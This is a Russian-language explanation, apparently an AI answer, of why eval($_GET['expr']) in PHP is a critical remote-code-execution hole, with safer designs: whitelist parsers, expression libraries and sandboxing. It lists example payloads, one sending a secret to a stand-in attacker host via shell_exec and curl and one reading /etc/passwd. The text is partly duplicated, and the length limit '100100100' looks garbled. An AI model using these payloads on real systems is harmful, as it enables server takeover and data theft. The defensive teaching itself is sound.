Разберите уязвимость: в PHP‑коде используется eval($_GET['expr']); Какие риски это несёт и как безопасно реализовать функциональность выполнения выражений, если она действительно нужна
Коротко: использовать `eval($_GET['expr']);` — это критическая уязвимость. Ниже — почему, какие возможные последствия и как безопасно реализовать требуемую функциональность. Почему опасно - Полный удалённый выполнение кода (RCE). Злоумышленник может выполнить любые функции PHP: `system()`, `exec()`, `file_put_contents()`, `unlink()` и т.д. - Доступ к файлам и данным: чтение/запись конфигураций, кража паролей, подключение к БД и утечка данных. - Выполнение shell-команд через функции или обратные кавычки — контроль над сервером. - Обход авторизации и эскалация привилегий (например, изменение сессий). - DoS: бесконечные циклы, потребление памяти/CPU. - Логирование/инъекции — выполнение полезной нагрузки через запросы/заголовки. Примеры атак (иллюстрация, не выполнять): - `expr=system("id");` - `expr=file_get_contents("/etc/passwd");` - `expr=shell_exec("curl http://attacker/steal?data=".urlencode($secret));` Если функциональность действительно нужна — безопасные подходы 1) Отказаться от eval и реализовать ограниченный парсер (рекомендуемое для арифметики/формул) - Если нужно вычислять только арифметические выражения (сложение, вычитание, умножение, деление, скобки, числа, функции вроде sin, pow), реализуйте или используйте проверенный парсер: - Токенизация → shunting-yard → вычисление RPN. - Жёсткая белая валидация токенов (только цифры, десятичные точки, операторы, скобки, имена заранее разрешённых функций). - Ограничение длины входа (например `100100100` символов), таймауты и лимиты по памяти. Пример простого безопасного арифметического вычислителя (очень кратко): ```php function eval_math($s) { // разрешённые символы: цифры, точка, пробел, +-*/^() и название функций из $funcs $s = trim($s); if (strlen($s) > 200) throw new Exception('Too long'); if (preg_match('/[^0-9+\-*/^().,\sa-zA-Z]/', $s)) throw new Exception('Invalid chars'); // простой вариант: лексер + shunting-yard + вычисление RPN // (реализация опущена здесь — используйте готовую библиотеку или аккуратно реализуйте) } ``` Лучше: взять готовую библиотеку для математического парсинга (валидную, поддерживаемую), чем писать с нуля. 2) Использовать sandboxed expression evaluator / библиотеку - Symfony ExpressionLanguage — для выражений с ограниченным набором переменных/функций (белый список). - Библиотеки, которые строят AST (например, nikic/php-parser) можно использовать, чтобы пройти AST и разрешать только безопасные узлы (литералы, операции, вызов разрешённых функций). Но это сложно и легко ошибиться. 3) Если нужно исполнять код PHP динамически — изолировать строго - Запускать в отдельном процессе/контейнере/песочнице с минимальными правами (chroot, unprivileged user, cgroups, seccomp). - Отключить опасные функции в php.ini (`disable_functions`), настроить `open_basedir`, включить `suhosin`/policy — но это не панацея. - Ограничить входные данные, применить таймауты и мониторинг; логировать всё. 4) Общие рекомендации безопасности - Никогда не доверяйте входным данным — для выражений применяйте белый список токенов/функций. - Ограничьте длину и частоту запросов (rate limit). - Смотрите на side effects: запретить функции, делающие I/O, сетевые вызовы и т.д. - Проводите аудит и тестирование (fuzzing) входа. - Логи и алерты при подозрительных выражениях. Короткое резюме - eval($_GET['expr']) = почти гарантированная RCE и утечка данных. - Для арифметики — используйте парсер/RPN или проверенную библиотеку. - Для выражений PHP — изоляция в контейнере/песочнице + жёсткие ограничения или лучше вовсе избегать. - Всегда применяйте белые списки, лимиты и мониторинг.
Почему опасно
- Полный удалённый выполнение кода (RCE). Злоумышленник может выполнить любые функции PHP: `system()`, `exec()`, `file_put_contents()`, `unlink()` и т.д.
- Доступ к файлам и данным: чтение/запись конфигураций, кража паролей, подключение к БД и утечка данных.
- Выполнение shell-команд через функции или обратные кавычки — контроль над сервером.
- Обход авторизации и эскалация привилегий (например, изменение сессий).
- DoS: бесконечные циклы, потребление памяти/CPU.
- Логирование/инъекции — выполнение полезной нагрузки через запросы/заголовки.
Примеры атак (иллюстрация, не выполнять):
- `expr=system("id");`
- `expr=file_get_contents("/etc/passwd");`
- `expr=shell_exec("curl http://attacker/steal?data=".urlencode($secret));`
Если функциональность действительно нужна — безопасные подходы
1) Отказаться от eval и реализовать ограниченный парсер (рекомендуемое для арифметики/формул)
- Если нужно вычислять только арифметические выражения (сложение, вычитание, умножение, деление, скобки, числа, функции вроде sin, pow), реализуйте или используйте проверенный парсер:
- Токенизация → shunting-yard → вычисление RPN.
- Жёсткая белая валидация токенов (только цифры, десятичные точки, операторы, скобки, имена заранее разрешённых функций).
- Ограничение длины входа (например `100100100` символов), таймауты и лимиты по памяти.
Пример простого безопасного арифметического вычислителя (очень кратко):
```php
function eval_math($s) {
// разрешённые символы: цифры, точка, пробел, +-*/^() и название функций из $funcs
$s = trim($s);
if (strlen($s) > 200) throw new Exception('Too long');
if (preg_match('/[^0-9+\-*/^().,\sa-zA-Z]/', $s)) throw new Exception('Invalid chars');
// простой вариант: лексер + shunting-yard + вычисление RPN
// (реализация опущена здесь — используйте готовую библиотеку или аккуратно реализуйте)
}
```
Лучше: взять готовую библиотеку для математического парсинга (валидную, поддерживаемую), чем писать с нуля.
2) Использовать sandboxed expression evaluator / библиотеку
- Symfony ExpressionLanguage — для выражений с ограниченным набором переменных/функций (белый список).
- Библиотеки, которые строят AST (например, nikic/php-parser) можно использовать, чтобы пройти AST и разрешать только безопасные узлы (литералы, операции, вызов разрешённых функций). Но это сложно и легко ошибиться.
3) Если нужно исполнять код PHP динамически — изолировать строго
- Запускать в отдельном процессе/контейнере/песочнице с минимальными правами (chroot, unprivileged user, cgroups, seccomp).
- Отключить опасные функции в php.ini (`disable_functions`), настроить `open_basedir`, включить `suhosin`/policy — но это не панацея.
- Ограничить входные данные, применить таймауты и мониторинг; логировать всё.
4) Общие рекомендации безопасности
- Никогда не доверяйте входным данным — для выражений применяйте белый список токенов/функций.
- Ограничьте длину и частоту запросов (rate limit).
- Смотрите на side effects: запретить функции, делающие I/O, сетевые вызовы и т.д.
- Проводите аудит и тестирование (fuzzing) входа.
- Логи и алерты при подозрительных выражениях.
Короткое резюме
- eval($_GET['expr']) = почти гарантированная RCE и утечка данных.
- Для арифметики — используйте парсер/RPN или проверенную библиотеку.
- Для выражений PHP — изоляция в контейнере/песочнице + жёсткие ограничения или лучше вовсе избегать.
- Всегда применяйте белые списки, лимиты и мониторинг.